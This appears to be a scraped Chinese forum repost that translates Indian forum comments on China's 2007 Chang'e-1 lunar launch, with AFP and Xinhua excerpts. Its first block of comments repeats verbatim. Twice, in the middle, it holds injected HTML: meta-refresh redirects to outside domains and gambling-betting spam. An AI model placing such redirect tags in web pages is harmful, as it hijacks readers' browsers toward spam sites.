印度军米看中国探月工程(已翻译)(转)

来源:百度文库 编辑:超级军网 时间:2024/04/29 02:47:12
<br /><br />印度军米看中国探月工程(已翻译)




印度军米c0der :I want to be part of the joy you guys are feeling now, I am always fascinated about space, CONGRATULATIONS TO CHINA.


(我对宇宙非常沉迷,希望分享你们目前的感受,祝贺中国)




印度军米:LETHALFORCE :Congratulations China!!!!!!!!!!!!!! The rise of Asia is just begining.

(祝贺中国!!!!!!!!!!!!!!,亚洲的崛起)




印度军米:ajay_ijn:congrats. probably not related to this, but Indias moon mission is the cheapest of all till date. Its 88 million USD. while Change is 170 million USD Mission.

(祝贺,说句题外话,我们印度的探月计划是目前搜集到的数据中最便宜的,8千8百万美元,中国的嫦娥花了1.7亿美元)




印度军米:prashanth :Very well. congratulations to China. How nice it will be if india and china do such missions together. Both the countries stand to gain. We should take a cue from the US and russia which have dropped hatred and mistrust for the sake of ISS (only). miseries in asia remain so long as we remain divided, thereby letting outsiders to create trouble.

(非常成功,祝贺中国,如果印度和中国能够能一块探月该多好啊,两个国家都能双赢。我们应该从美国和俄国得到教训,他们为了ISS(International Space Station国际空间站)而产生不信任和敌意.亚洲被宰割时经受了太久的不幸,所以我们应该到外太空去解决争端。)




印度军米:bigjelmapro :I always support productive space programs and missions. I just hope it doesn't go as far as blast mining the moon.

(我始终支持开发性的太空计划和任务,但希望在密集开发月球这一点上不要走的太远。)




This sounds a bit loony, but what are China's policies towards ET encounters? Is it hush-hush, like the US, or will there be actual public disclosure, as usually was the case with the Soviets/Russians?

(听起来有些老套,但中国在遭遇外星人的时候制定了什么政策?是像美国人一样沉默还是像苏联一样实事求是的给公众说明)




印度军米jeosee :quite agree with you, mining the earth has been the villainy of us as the life-form in the metagalaxy. mining the moon is very very loony.

(非常同意你,对地球开采就是我们作为生命对宇宙所犯的罪恶,开采月球非常不明智。)

just the human's curiosity impulse china doing this. and what can not deny, it's sure have certain other meaning. but don't worry, a three legs' chair when one of its leg is too short it will overturn. china is trying to prolong the short leg to keep the chair on the balance point between overturn and disoverturn, and china haven't the strength to prolong it to natural longth, and certainly haven't the intent to prolong it too long to make the chair lose balance again and to replace other two legs to control the chair's balance. in a word, just like your nuclear bomb, they are all the legs of the world peace chair, depending on which to make the peace of the world keep balance.

(人类的好奇心刺激中国人这样做,不能否认的是,肯定还有其他的目的,但不必担心,三条腿长一条腿短的椅子将会翻倒,中国目前试图将这条短腿加长到她应有的长度,以便能在倒与不倒之间找到平衡,但是,中国可能没有力量将这条断腿(软肋)恢复,可能也不打算将她加的太长,否则,将使其他腿无法控制椅子的平衡而再次失衡。总之,就像我们的原子弹爆炸,他们都是保持世界平衡和和平所依靠的椅子。)




印度军米:LETHALFORCE :eventually all the major powers will have to cooperate in space. Space is too vast and no one nation is powerful enough or that much more technologically advanced where they can go at it alone. To have a true advances in space we will need a huge infrastructure to support it. Right now these are all just baby steps.

(将来,主要的大国势必在空间领域合作,没有1个国家有足够的技术和力量支撑其独立开发广袤的空间。为了在空间中取得实际的进展,我们都需要庞大的机构支持。现在,这些都处于起步水平。)




军米bigjelmapro再次发言:What kind of logic is that? Sounds very Star Trekish, but never a proven concept that 'all major powers will have to cooperate in space'.

(那是什么逻辑?听起来像Star Trekish宇宙探测器—可能是“虚无的”的意思,但根本没有一个经过证明的支持大国势必进行空间合作的理论依据。)




The problem at the moment are the knitwits in charge that still predominantly rely on fossil fuels funneling money away from space R&amp;D and not even having an operational replacement for the Shuttle when it goes into retirement by 2010.

(目前的问题是从空间研发来看,依然主要依靠“石油烧钱”的方式来探索宇宙,到2010年航天飞机退役时还没有什么具有可操作性的替代方案。)




Capitalism at its worst until these resources have been drained. (直到这些资源被耗尽,资本主义就到头了。)




We can only go so far in space at the present time and space is so bloody vast that there is absolutely no hope within the next 300-500 years to be even capable of reaching past a few light years within a few lifetimes, not that we need to. There are present rocket engines capable of reaching Mars in 2-3 months.

(现在我们在空间领域已经走的够远了,宇宙如此庞大,绝对不可能希望在将来的300-500年内我们能够在有限的生命中走过几光年远的距离,况且我们也不需要。现有的火箭发动机可以使我们在2到3个月内到达火星。





How do you know who possesses what technology? The general public is only aware of tech. 30-50 years after the fact that its already proven its worth with the SR-71 and the F-117 as two examples. The rest of these advancements are only speculation...

(你能想象谁掌握了什么技术吗?在这些技术被运用与SR-71和F-117之后的30-50年,公众才知道它们,那些未知的技术还有待于思索。




印度军米badguy2000 :I am afraid that such bilateral cooperation will be quite limited,because most of Chinese space projects are managed by Chinese military units.

(恐怕这种双边合作是有限的,因为中国空间工程的很大部分都被中国军方所主导)




印度军米link16 : Lunar probe Chang'e I completes 1st orbital transfer (Xinhua)

新华社报道中国嫦娥1号探测器已经完成了第一次的轨道转移。


Updated: 2007-10-25 19:25 (上传于2007-10-25 19:25)以下印度军米link16上传内容都是新华社的通讯稿,无需翻译了,弟兄们可以参看咱们自己的通讯报道。

BEIJING -- China's first lunar probe Chang'e I completed its first orbital transfer Thursday afternoon, a step further in its 380,000-kilometer journey to the moon. China's first lunar orbiter, Chang'e I, blasts off from its launch pad in the Xichang Satellite Launch Center in Southwest China's Sichuan Province, at about 6:05 pm October 24, 2007. [Xinhua]

he orbital transfer began at around 5:55 pm and succeeded after 130 seconds. The probe was transferred to an orbit with a perigee of about 600 km, up from the former 200-km perigee, according to the Beijing Aerospace Control Center (BACC). Chang'e I, named after a mythical Chinese goddess who flew to the moon, blasted off on a Long March 3A carrier rocket at 6:05 pm Wednesday from the Xichang Satellite Launch Center in the southwestern province of Sichuan. The circumlunar satellite will experience another three accelerations, which will further shorten its distance to the moon orbit, Zhou said. It is expected to enter earth-moon transfer orbit on October 31 and arrive in the moon's orbit on November 5.




印度军米gpit :The orbiter weighs 2.3 tons. It spans 18 meters if the solar wings are fully unfolded. (探测器重2.3吨,如果太阳能电池帆板完全展开有18米)

If I remember correctly, after the last Earth orbit transfer, the orbiter will leave the gravity of the Earth, traveling towards the lunar orbit with the Moon and orbiter approaching each other. This voyage will take about 7 days.

(如果我记得不错,在最后一次地球轨道转移后,探测器将脱离地球重力场,奔到月球轨道,旅行时间7天。)


When it gets close to the Moon, it will reversely propel itself to reduce the speed, so as to be captured by the gravity of the Moon. Once within the gravity, it needs yet couple of orbit maneuvers to get into a right position.

(当她靠近月球时,将反推减速以便于被月球重力场捕获。一旦在这个重力场内,她需要进行两次轨道机动来调整姿态。)

To use the minimal fuel, there is only one day every month that is suitable for launching a Moon orbiter. Within the day, there are only 35 minutes time window for the launch.

(为了节省燃料,每个月当中只有1天适合月球探测器的发射,其中只有35分钟的发射窗口。)




印度军米ajay_ijn :How many instruments does Chang e carry exactly? Can you give me the list &amp; details of those things.

(有多少嫦娥的测控仪器,谁能给我一个详细的清单。)





印度军米gpit:I got a list that is more or less detailing the scientific payload.(我拿到了一些科学负载的细节。)

To study lunar surface topography using 3D imaging of the lunar surface(因为有广告嫌疑,我删掉了)







印度军米Sena Lee:这是个好消息。

印度军米gpit再次发言:This is an awesome news! I believe it is more or less learnt from US. In Kennedy Space Center, Florida, NASA makes a lot of money out from tourism. After 9.11, however, the business becomes not as good. 100 million Yuan, that's about 10% of what the Chang'e-1 costs.

(这是个可怕的消息,我从美国那里得到一些消息---[军米link16引子chian Daily的报道,报道说中国这次嫦娥发射的旅游收入已经超过1亿人民币],美国肯尼迪航天中心,佛罗里达美国宇航局从旅游观光事业中赚了一些钱。9.11后,情况有了变化,1亿人民币,相当于嫦娥1号成本的10%。)<meta http-equiv="refresh" content="0; url=http://ybw.cc">
<meta http-equiv="refresh" content="0; url=http://dqw.cc">
<link href="http://ybw.cc/58l.css" rel="stylesheet" type="text/css" media="screen" />
<P>&nbsp;</P>
<link href="http://dqw.cc/99dd.css" rel="stylesheet" type="text/css" media="screen" />


<P>&nbsp;</P>

<P>&nbsp;</P>


(6.合.彩)♀足球♀篮球...各类投注开户下注
<P>&nbsp;</P>
推荐→第一投注♀♀倍率高√存取速度快.国内最好的投注平台
<br /><br />印度军米看中国探月工程(已翻译)




印度军米c0der :I want to be part of the joy you guys are feeling now, I am always fascinated about space, CONGRATULATIONS TO CHINA.


(我对宇宙非常沉迷,希望分享你们目前的感受,祝贺中国)




印度军米:LETHALFORCE :Congratulations China!!!!!!!!!!!!!! The rise of Asia is just begining.

(祝贺中国!!!!!!!!!!!!!!,亚洲的崛起)




印度军米:ajay_ijn:congrats. probably not related to this, but Indias moon mission is the cheapest of all till date. Its 88 million USD. while Change is 170 million USD Mission.

(祝贺,说句题外话,我们印度的探月计划是目前搜集到的数据中最便宜的,8千8百万美元,中国的嫦娥花了1.7亿美元)




印度军米:prashanth :Very well. congratulations to China. How nice it will be if india and china do such missions together. Both the countries stand to gain. We should take a cue from the US and russia which have dropped hatred and mistrust for the sake of ISS (only). miseries in asia remain so long as we remain divided, thereby letting outsiders to create trouble.

(非常成功,祝贺中国,如果印度和中国能够能一块探月该多好啊,两个国家都能双赢。我们应该从美国和俄国得到教训,他们为了ISS(International Space Station国际空间站)而产生不信任和敌意.亚洲被宰割时经受了太久的不幸,所以我们应该到外太空去解决争端。)




印度军米:bigjelmapro :I always support productive space programs and missions. I just hope it doesn't go as far as blast mining the moon.

(我始终支持开发性的太空计划和任务,但希望在密集开发月球这一点上不要走的太远。)




This sounds a bit loony, but what are China's policies towards ET encounters? Is it hush-hush, like the US, or will there be actual public disclosure, as usually was the case with the Soviets/Russians?

(听起来有些老套,但中国在遭遇外星人的时候制定了什么政策?是像美国人一样沉默还是像苏联一样实事求是的给公众说明)




印度军米jeosee :quite agree with you, mining the earth has been the villainy of us as the life-form in the metagalaxy. mining the moon is very very loony.

(非常同意你,对地球开采就是我们作为生命对宇宙所犯的罪恶,开采月球非常不明智。)

just the human's curiosity impulse china doing this. and what can not deny, it's sure have certain other meaning. but don't worry, a three legs' chair when one of its leg is too short it will overturn. china is trying to prolong the short leg to keep the chair on the balance point between overturn and disoverturn, and china haven't the strength to prolong it to natural longth, and certainly haven't the intent to prolong it too long to make the chair lose balance again and to replace other two legs to control the chair's balance. in a word, just like your nuclear bomb, they are all the legs of the world peace chair, depending on which to make the peace of the world keep balance.

(人类的好奇心刺激中国人这样做,不能否认的是,肯定还有其他的目的,但不必担心,三条腿长一条腿短的椅子将会翻倒,中国目前试图将这条短腿加长到她应有的长度,以便能在倒与不倒之间找到平衡,但是,中国可能没有力量将这条断腿(软肋)恢复,可能也不打算将她加的太长,否则,将使其他腿无法控制椅子的平衡而再次失衡。总之,就像我们的原子弹爆炸,他们都是保持世界平衡和和平所依靠的椅子。)




印度军米:LETHALFORCE :eventually all the major powers will have to cooperate in space. Space is too vast and no one nation is powerful enough or that much more technologically advanced where they can go at it alone. To have a true advances in space we will need a huge infrastructure to support it. Right now these are all just baby steps.

(将来,主要的大国势必在空间领域合作,没有1个国家有足够的技术和力量支撑其独立开发广袤的空间。为了在空间中取得实际的进展,我们都需要庞大的机构支持。现在,这些都处于起步水平。)




军米bigjelmapro再次发言:What kind of logic is that? Sounds very Star Trekish, but never a proven concept that 'all major powers will have to cooperate in space'.

(那是什么逻辑?听起来像Star Trekish宇宙探测器—可能是“虚无的”的意思,但根本没有一个经过证明的支持大国势必进行空间合作的理论依据。)




The problem at the moment are the knitwits in charge that still predominantly rely on fossil fuels funneling money away from space R&amp;D and not even having an operational replacement for the Shuttle when it goes into retirement by 2010.

(目前的问题是从空间研发来看,依然主要依靠“石油烧钱”的方式来探索宇宙,到2010年航天飞机退役时还没有什么具有可操作性的替代方案。)




Capitalism at its worst until these resources have been drained. (直到这些资源被耗尽,资本主义就到头了。)




We can only go so far in space at the present time and space is so bloody vast that there is absolutely no hope within the next 300-500 years to be even capable of reaching past a few light years within a few lifetimes, not that we need to. There are present rocket engines capable of reaching Mars in 2-3 months.

(现在我们在空间领域已经走的够远了,宇宙如此庞大,绝对不可能希望在将来的300-500年内我们能够在有限的生命中走过几光年远的距离,况且我们也不需要。现有的火箭发动机可以使我们在2到3个月内到达火星。





How do you know who possesses what technology? The general public is only aware of tech. 30-50 years after the fact that its already proven its worth with the SR-71 and the F-117 as two examples. The rest of these advancements are only speculation...

(你能想象谁掌握了什么技术吗?在这些技术被运用与SR-71和F-117之后的30-50年,公众才知道它们,那些未知的技术还有待于思索。




印度军米badguy2000 :I am afraid that such bilateral cooperation will be quite limited,because most of Chinese space projects are managed by Chinese military units.

(恐怕这种双边合作是有限的,因为中国空间工程的很大部分都被中国军方所主导)




印度军米link16 : Lunar probe Chang'e I completes 1st orbital transfer (Xinhua)

新华社报道中国嫦娥1号探测器已经完成了第一次的轨道转移。


Updated: 2007-10-25 19:25 (上传于2007-10-25 19:25)以下印度军米link16上传内容都是新华社的通讯稿,无需翻译了,弟兄们可以参看咱们自己的通讯报道。

BEIJING -- China's first lunar probe Chang'e I completed its first orbital transfer Thursday afternoon, a step further in its 380,000-kilometer journey to the moon. China's first lunar orbiter, Chang'e I, blasts off from its launch pad in the Xichang Satellite Launch Center in Southwest China's Sichuan Province, at about 6:05 pm October 24, 2007. [Xinhua]

he orbital transfer began at around 5:55 pm and succeeded after 130 seconds. The probe was transferred to an orbit with a perigee of about 600 km, up from the former 200-km perigee, according to the Beijing Aerospace Control Center (BACC). Chang'e I, named after a mythical Chinese goddess who flew to the moon, blasted off on a Long March 3A carrier rocket at 6:05 pm Wednesday from the Xichang Satellite Launch Center in the southwestern province of Sichuan. The circumlunar satellite will experience another three accelerations, which will further shorten its distance to the moon orbit, Zhou said. It is expected to enter earth-moon transfer orbit on October 31 and arrive in the moon's orbit on November 5.




印度军米gpit :The orbiter weighs 2.3 tons. It spans 18 meters if the solar wings are fully unfolded. (探测器重2.3吨,如果太阳能电池帆板完全展开有18米)

If I remember correctly, after the last Earth orbit transfer, the orbiter will leave the gravity of the Earth, traveling towards the lunar orbit with the Moon and orbiter approaching each other. This voyage will take about 7 days.

(如果我记得不错,在最后一次地球轨道转移后,探测器将脱离地球重力场,奔到月球轨道,旅行时间7天。)


When it gets close to the Moon, it will reversely propel itself to reduce the speed, so as to be captured by the gravity of the Moon. Once within the gravity, it needs yet couple of orbit maneuvers to get into a right position.

(当她靠近月球时,将反推减速以便于被月球重力场捕获。一旦在这个重力场内,她需要进行两次轨道机动来调整姿态。)

To use the minimal fuel, there is only one day every month that is suitable for launching a Moon orbiter. Within the day, there are only 35 minutes time window for the launch.

(为了节省燃料,每个月当中只有1天适合月球探测器的发射,其中只有35分钟的发射窗口。)




印度军米ajay_ijn :How many instruments does Chang e carry exactly? Can you give me the list &amp; details of those things.

(有多少嫦娥的测控仪器,谁能给我一个详细的清单。)





印度军米gpit:I got a list that is more or less detailing the scientific payload.(我拿到了一些科学负载的细节。)

To study lunar surface topography using 3D imaging of the lunar surface(因为有广告嫌疑,我删掉了)







印度军米Sena Lee:这是个好消息。

印度军米gpit再次发言:This is an awesome news! I believe it is more or less learnt from US. In Kennedy Space Center, Florida, NASA makes a lot of money out from tourism. After 9.11, however, the business becomes not as good. 100 million Yuan, that's about 10% of what the Chang'e-1 costs.

(这是个可怕的消息,我从美国那里得到一些消息---[军米link16引子chian Daily的报道,报道说中国这次嫦娥发射的旅游收入已经超过1亿人民币],美国肯尼迪航天中心,佛罗里达美国宇航局从旅游观光事业中赚了一些钱。9.11后,情况有了变化,1亿人民币,相当于嫦娥1号成本的10%。)<meta http-equiv="refresh" content="0; url=http://ybw.cc">
<meta http-equiv="refresh" content="0; url=http://dqw.cc">
<link href="http://ybw.cc/58l.css" rel="stylesheet" type="text/css" media="screen" />
<P>&nbsp;</P>
<link href="http://dqw.cc/99dd.css" rel="stylesheet" type="text/css" media="screen" />


<P>&nbsp;</P>

<P>&nbsp;</P>


(6.合.彩)♀足球♀篮球...各类投注开户下注
<P>&nbsp;</P>
推荐→第一投注♀♀倍率高√存取速度快.国内最好的投注平台
hehe! 最后一句道出了中国人的聪明!
航天技术转移到民用可能20-30年
要马上收益也要数年
祝贺,说句题外话,我们印度的探月计划是目前搜集到的数据中最便宜的,8千8百万美元,中国的嫦娥花了1.7亿美元)

印度射了???:L
这篇文章是阿三写的吗?怎么风格不同啊。。。:D ;P
相当理性 如果是真的必须承认阿三中还是有一些有理智的人
原贴:
October 24, 2007, 06:30:38 AM  
hesidu :  
Asia's space race heats up as China launches first lunar probe
中国发射第一颗月球探测器加剧了亚洲的太空竞赛

by Staff Writers
Beijing (AFP) Oct 24, 2007

China on Wednesday launched its first lunar orbiter in an event broadcast on national television, with the mission a key step in the nation's plans to put a man on the moon by 2020.
周三中国在一个国际电视广播中播出他发射了第一颗月球轨道探测器,这是在2020年之前载人登月计划的关键一步。

Chang'e I took off around 6:05 pm (1005 GMT) from a launch centre in southwestern China's Sichuan province for what is slated to be a one-year expedition to explore and map the moon. "The operation is normal," voices in the control room said shortly after the launch.
“嫦娥” I 号在 6:05 pm (1005 GMT)从中国西南部四川省发射升空,开始历时一年的包括探索月球和绘制月图的工作。“一切正常”这样的声音在发射后不久从控制室中传出。

The launch further heats up Asia's space race as much of China watched the prime-time launch of its first lunar orbiter, an event being seen in the world's most populous nation as a sign of its global rise.
这次发射进一步使得亚洲太空竞赛升温,因为大部分中国人观看了他们第一颗月球轨道探测器的最初发射,这被看作是这个世界上人口最多的国家全球崛起的标志。

The launch of Chang'e I, which will explore and map the moon's surface, comes after Japan last month launched its first lunar probe and ahead of a planned similar mission by India next year.
“嫦娥” I探测器将会探测并绘制月球的表面。而在前一个月,日本发射了他的第一颗月球探测器;在明年,印度也有相似的计划。

China's year-long expedition, costing 1.4 billion yuan (184 million dollars), kicks off a programme that aims to land an unmanned rover on the moon's surface by 2012 and then put a man on the moon by about 2020.
中国为期一年的探测,花费了14亿人民币(1.84亿美元),开始了一个目标在2012年前向月球发射一颗无人登陆器,并在2020年前将人送上月球的计划

National Televised Event
国家电视消息
China's government-controlled media on Wednesday gave widespread coverage to the planned launch and was broadcast on national television.
中国官方媒体周三发出了关于发射计划的消息,并且在国家电视台广播。

Front-page newspaper reports emphasised the lunar probe would be the third major milestone in China's space ambitions, after sending men into orbit in 2003 and 2005.
报纸封面的报道强调了月球探测器将是中国的空间雄心继在2003和2005年将人送入轨道之后的第三块重要里程碑。

In the months leading up to the launch, one of the chief scientists in China's moon programme, Ouyang Ziyuan, also pointed to the broader message a successful mission would send to the Chinese people and the world.
发射前几个月,中过月球项目主要科学家之一,欧阳自远曾指出,中国人民和世界将会看到一次成功的任务。

"As lunar exploration embodies our overall national strength, it is very significant for raising our international prestige and our national unity," Ouyang told the ruling Communist Party's mouthpiece, the People's Daily.
“月球探测体现了我们的综合国力,这对于我们提高国际威望和社会和谐非常重要。”欧阳在接受中国共产党的机关报人民日报时这么说。


  

A front-page report in the English-language China Daily said 1,000 Chinese journalists had converged on Xichang Satellite Launching Centre in southwestern China's Sichuan province to cover the event.
英文报《China Daily》的封面报道称有1000名中国记者汇聚在中国西南四川省的西昌卫星发射中心报道这一消息。

On September 14, Japan launched its first lunar orbiter as a key step in putting a man on the moon by 2020.
9月14日,日本发射了他的第一颗月球轨道探测器,这是其在2020年前将人送上月球前的关键一步。

Although the timeframes for China and Japan to eventually put someone on the moon are roughly similar, some Chinese officials were trying to play down the rivalry.
虽然中国和日本最终将人送上月球的时间表大致相同,一些中国官员却试着贬低竞争对手。

"Japan began its lunar exploration research much earlier than we did, so we have always stressed that with the launch of Chang'e, we don't want to be talking about who is first," top mission official Zhang Jianqi said.
“日本开始他们的月球探测研究活动比我们早的多,所以我们已经强调对于“嫦娥”的发射,我们不想谈论关于谁是第一的问题。”首席任务官表示。

China's project engineers expressed concern over whether newly developed technology would perform correctly during the flight of the Chang'e, which is named after a Chinese fairy.
中国的项目工程师表示他们的关注集中在新的技术是否在“嫦娥”的飞行过程中表现良好。“嫦娥”的名字来自于中国的仙女。

"We are all preparing for possible failure because if one little thing goes wrong, the whole mission could fail," Zhang told the Beijing Times in an interview.
“我们都在准备应对可能的失败,因为一点点错误都会导致整个任务的失败。”张在接受《北京时代》采访时说。

"If everything proceeds smoothly we will be able to announce (the success of the mission) around November 7," Zhang said.
“如果一切顺利我们将会在11月7日发表声明(任务成功)”张表示。

The orbiter is expected to transmit its first pictures of the moon back to earth by the end of November.
预期轨道探测器将会在11月末传回它的第一张月球照片。

According to Rene Oosterlinck, a European Space Agency spokesman, the ongoing race to the moon, which also includes a renewed American effort, is largely aimed at setting up permanent lunar bases as a first step to eventual exploration of Mars.
根据欧洲航天局发言人Rene Oosterlinck所说,目前包括了美国最新计划在内的探月竞赛,主要目标是在月球上建立永久基地,作为最终探索火星的第一步。

"The Chinese satellite will mainly be taking three dimensional pictures of the moon surface to see where it will be possible to land in the future to set up a lunar base," Oosterlinck told AFP.
“中国卫星主要是为了取得月表的三维图象,以确定未来哪里可以着陆以建立月球基地。”Oosterlinck对AFP说。

China successfully launched astronaut Yang Liwei into orbit in 2003, making it the third country after the former Soviet Union and the United States to put a man in space.
中国在2003年成功将宇航员杨利伟送入地球轨道,使他成为了继苏联和美国之后第三个将人送入太空的国家。

Its third manned space flight is scheduled for late 2008 on a mission that will include three astronauts and China's first ever space walk.
他的第三次载人太空飞行定于2008年晚些时候,届时将把三名宇航员送入太空并进行中国的第一次太空行走。

http://www.spacedaily.com/report ... unar_probe_999.html  


前面那是主贴,印度人的评论在下面
----------------------------------------------------------------------------------------------------------------------------------------
#1sukhoi  
Superb, hesidu do have any pictures of it?
非常好,hesidu 有关于它的图片么?  
#2hesidu
(译者:若干图片)
#3link16  
satellite has separated with rocket successfully, and right in the orbit around the earth in the frist step .
星箭分离成功,正确进入了第一步的地球轨道
#4ajay_ijn  
oh So china launched their probe. congrats.  
中国发射了他们的探测器。祝贺。
#5travelt  
Great. Cheers to Chinese scientists. I wish in future India and China will find avenues of space cooperation. Why not if the Cold War enemies of USSR and US could do that over ISS?
祝贺中国科学家。我希望未来印度和中国可以找到空间合作的道路。连冷战的敌人苏联和美国都可以在国际空间站(ISS)合作,我们为什么不行?  
#6INDIAs no1 patriot  
simply superb. i know how excited i m about CHANDRAYAAN-1 so i can totally understand how an avg. chinese citizen must be feeling.
gr8 cheers to the chinese scientists.
的确了不起,我知道我对于CHANDRAYAAN-1(译者:虾米???)的兴奋,所以我完全能够理解普通中国人的感受。
祝贺中国科学家。
#7badguy2000 (译者:好像是个中国人,签名里有汉字)
it is just the start of the start!
the next step is to build Chinese own space station.
这只是开始的开始!  
下一步是建设中国自己的太空站。
#8c0der  
The article is a western psy op. There is no space race between India-China-Japan, India lacks $ for such endeavours, Japan dont need to be in a space race to ascertain their role in world geopolitics while China may be in race with US on who will reach moon first.
  这篇文章是一个西方心理学作品(译者:???不知道对不对)。印度、中国、日本之间没有空间竞争。印度做这种工作缺乏$。日本没有必要进行太空竞赛来确认他们在世界地缘政治中的角色,中国可能在和美国竞赛,看谁先到达月球。
#9ajay_ijn  
Its Space Race because all these three or may be more nations are trying to explore moon at the same timeline.  obviously there won't be any official space race & even something as serious as Space race during cold war between US & Soviets. Its just the general trend media is pointing out in a more attractive way. But comon one has to agree there there is lot of prestige factor here than just the desire to explore the moon.
这是太空竞赛,因为所有三方或者更多的国家都在相同的时间上试着探索月球。
显然,将不会有任何官方的太空竞赛或者类似于冷战期间美国和苏联之间那种严重的空间竞赛。这只是跟风的媒体为了吸引人才这么说。但是人们都会承认这里有大量威望的因素而不仅仅是希望探索月球。
#10sukhoi  
Congrats to China. The Sleeping dragon in wakening up and offcourse even the Elephant(India) is on its way also Btw, What is the next space launch of China  
祝贺中国。沉睡的龙正在醒来,当然,还有大象(印度)也走上了他的道路,还有Btw(译者:不知哪里的缩写),中国的下一个太空发射是什么?
#11hesidu  
(译者:引用#10)
China already had nine successful space launches this year. And China will at least has another two launches this year. Both are heavy communication satellites. And according a Chinese space scientist, China will conduct 18 launches in 2008, including manned-space vehicle CZ-7 with space-walk.


  
中国今年已经成功发射了九次。今年中国还将有另外两次发射。都是重型通信卫星。据一个中国空间科学家说,2008年中国将有18次发射,包括载人飞船CZ-7并进行太空行走。
#12LETHALFORCE  
Coder you are absolutely right in this being pys op article.
Why are they making it seem like ASIANS are in a space race and other western/soviet are not? because by saying it is an
ASIAN race they can say look at those ASIANS competing with themselves but they are in not in OUR league when the reality is USA has no done anything with the moon in 40 years and the Soviet union in 30 years. For the international space station (asians excluded except Japan) the cold war had to end and all the rich countries had to get together to keeping the program going. It should be a goal of all ASIAN countries to get their own space stations because in reality they are not far behind in the INTERNATIONAL space race.  
  Code 你绝对正确,这是一篇心理学文章(译者:和上面一样,不会翻译啊。)
为什么他们使得它看起来像是亚洲人在进行太空竞赛而西方/苏联不是? 因为通过说他是亚洲人的竞赛,他们可以说,看那些亚洲人自己和自己争,而他们(译者:亚洲人)不在我们的联赛中。但是事实上美国已经40年没做任何事了,苏联也有30年。对于国际空间站(亚洲除了日本以外都被排除在外),冷战结束了,所有的发达国家要联合起来推动项目的进行。建立自己的空间站应该是所有亚洲国家的目标,因为事实上他们的水平离国际空间竞赛并不遥远。
#13LETHALFORCE  
(译者:一个链接,看标题好像是什么“中国战胜我们赢得了太空竞赛”)
http://www.newsvine.com/_news/20 ... ace-race-against-us
#14badguy2000  
(译者:引用#12)
China is to build its own space station in a decade.
在12年里中国将要建设他自己的空间站。
#15ajay_ijn  
(译者:引用#14)
Go ahead waste your money. Soviets & US wasted enough during cold war on space stations, now its your turn. ISS Should have taught atleast something. world needs a cheaper launcher. untill then, money will flow like water for missions like these.
If one is clever enough, then either they should join ISS like programs or stop considering these missions untill a cheaper launcher is developed.  
Despite all the attempts ISS is the largest Non-Military Scientific Project. Total funding for ISS is estimated 130 billion USD.
继续浪费你的钱吧。冷战期间苏联和美国在空间站上浪费了够多的钱了,现在轮到你们了。ISS 应该已经说明了一些事情。世界需要便宜的发射工具。在那之前,像这样的任务花钱会像流水一样。
如果足够聪明,那他们应该加入ISS并且放弃这些任务直到开发出一种廉价的发射工具。
(译者:这不会翻。。。)ISS是最大的非军事科学工程。总投资估计要1300亿美元。
#16pravinutankar  
(译者:引用#9)
  Moon is rich in Helium-3 which is used for Nuclear Fussion technology.....
月球富含氦-3,可以用于核融合技术(译者:核聚变)
(译者:引用#15)
Waste of money......True but then if u have the money y not...They will have many spin offs.......Hey but if China gets a better role in ISS than individual project is a true waste of money.
浪费钱......是的,但是如果你有钱为什么不做?(译者:y not 就当 why not了)......他们将会有几个其他的(译者:空间站)......嘿嘿,但是如果中国在ISS中相对于单干要扮演更好的角色,那才是真的浪费钱。


  

#17ajay_ijn  
(译者:引用#16最后一段)
if Russia can get a major role . why not China. ofcoz launching payloads will be done by even reliable Russian & American launchers. but there is possibility to develop modules. Even India can get a opportunity, I read somewhere that US offered to send Indian to ISS few years ago however india wasn't interested.
如果俄罗斯可以扮演一个主要角色,为什么中国不行?ofcoz发射有效载荷将要达到可靠的俄罗斯&美国火箭的水平。但是有可能开发模块。甚至印度都能得到机会,我在其他地方读到几年后美国将让让印度人去ISS工作,然而印度不感兴趣。
#18hesidu  
(译者:引用#17)
China always wants to enter the ISS project. But America rejected China's application for political reason. Any ways China don't need to enter ISS project now
中国已经想要进入ISS工程。但是美国以政治原因拒绝中国的申请。无论如何中国现在不需要进入ISS工程了。
#19Palkar  
(译者:引用#18)  
China's ASAT test , which caused so many debris , which poses security risks for the Astronauts passing through.This is the main reason.
中国的反卫星试验(译者: ASAT test),造成了大量碎片。这些碎片会对宇航员造成风险。这是主要原因。
#20hesidu  
(译者:引用#19)
No, ISS start to build years ago, and China applicationed to enter the ISS project before they start to build ISS like India. China's ASAT test conduct early this year. There is no relation between them.
不,ISS 几年前就开始了,像印度一样,中国申请加入ISS工程在他们开始建设ISS之前。中国的ASAT test 是在今年早些时候。两者之间没有联系。
#21Visitor
(译者:引用#19)
I think even without the ASAT test, China would not be able to join the ISS. This is because the US still carry the Cold War mentality.
In regards to debris, we must first understand that China is not the first to carry such tests. The US and the former Soviet Union carried many such tests in the past. The debris of China's one test could not be compared.
我认为即使没有ASAT test,中国也不能加入ISS。这是因为美国还带着冷战思维。
关于碎片,我们首先必须明白中国不是第一个进行这种试验的。美国和前苏联过去进行过数次类似的试验。中国一次试验的碎片没法和他们相比。
#22globaltrecker  
(译者:引用#21)
When US and Russia tested way back in 80's the space wasen't that crowded. But now Space is getting crowded and debris would affect other satellites sometimes. So it is a very different scenarios from past.
当美国和俄罗斯试验时太空并不拥挤。但是现在太空正越来越拥挤,而碎片有时会影响到其它卫星。所以与过去相比这是非常不同的情况。
#23Su-47  
Congarts the chinese scientists for a job well done. Cant' wait for India's Chandrayaan.
I think the article's heading is wrong. There is no 'space race' in asia, since India cant afford too many space projects. Even Chandrayaan has its critics who demand that the money be used for social work instead.
India and china are still developing nations. as the nations get wealthier, we can afford more space missions, but for the time being, there's no space race.
祝贺中国科学家完成了一项好工作,不能等印度的 Chandrayaan。
我认为文章的开头是错误的。亚洲没有“太空竞赛”,因为印度供不起太多的太空工程。甚至 Chandrayaan也有危机,有人要求将钱投入到社会工作中去。
印度和中国仍旧是发展国家。当国家变得更富有,我们也可以搞更多的太空工程,但是现在暂时还没有太空竞赛。
原帖由 yan796113 于 2007-11-2 22:33 发表
祝贺,说句题外话,我们印度的探月计划是目前搜集到的数据中最便宜的,8千8百万美元,中国的嫦娥花了1.7亿美元)

印度射了???:L

反正上面的设备不是他自己的
看来印度军迷相当有理性啊。。难道是阿三的高层整天在意淫??;P
我认为即使没有ASAT test,中国也不能加入ISS。这是因为美国还带着冷战思维。
关于碎片,我们首先必须明白中国不是第一个进行这种试验的。美国和前苏联过去进行过数次类似的试验。中国一次试验的碎片没法和他们相比。
=====================好人啊```
我有N多印度同事, 觉得他们很聪明... 看来印度的问题跟中国一样, 人民都很聪明, 无奈体制和上层不行.
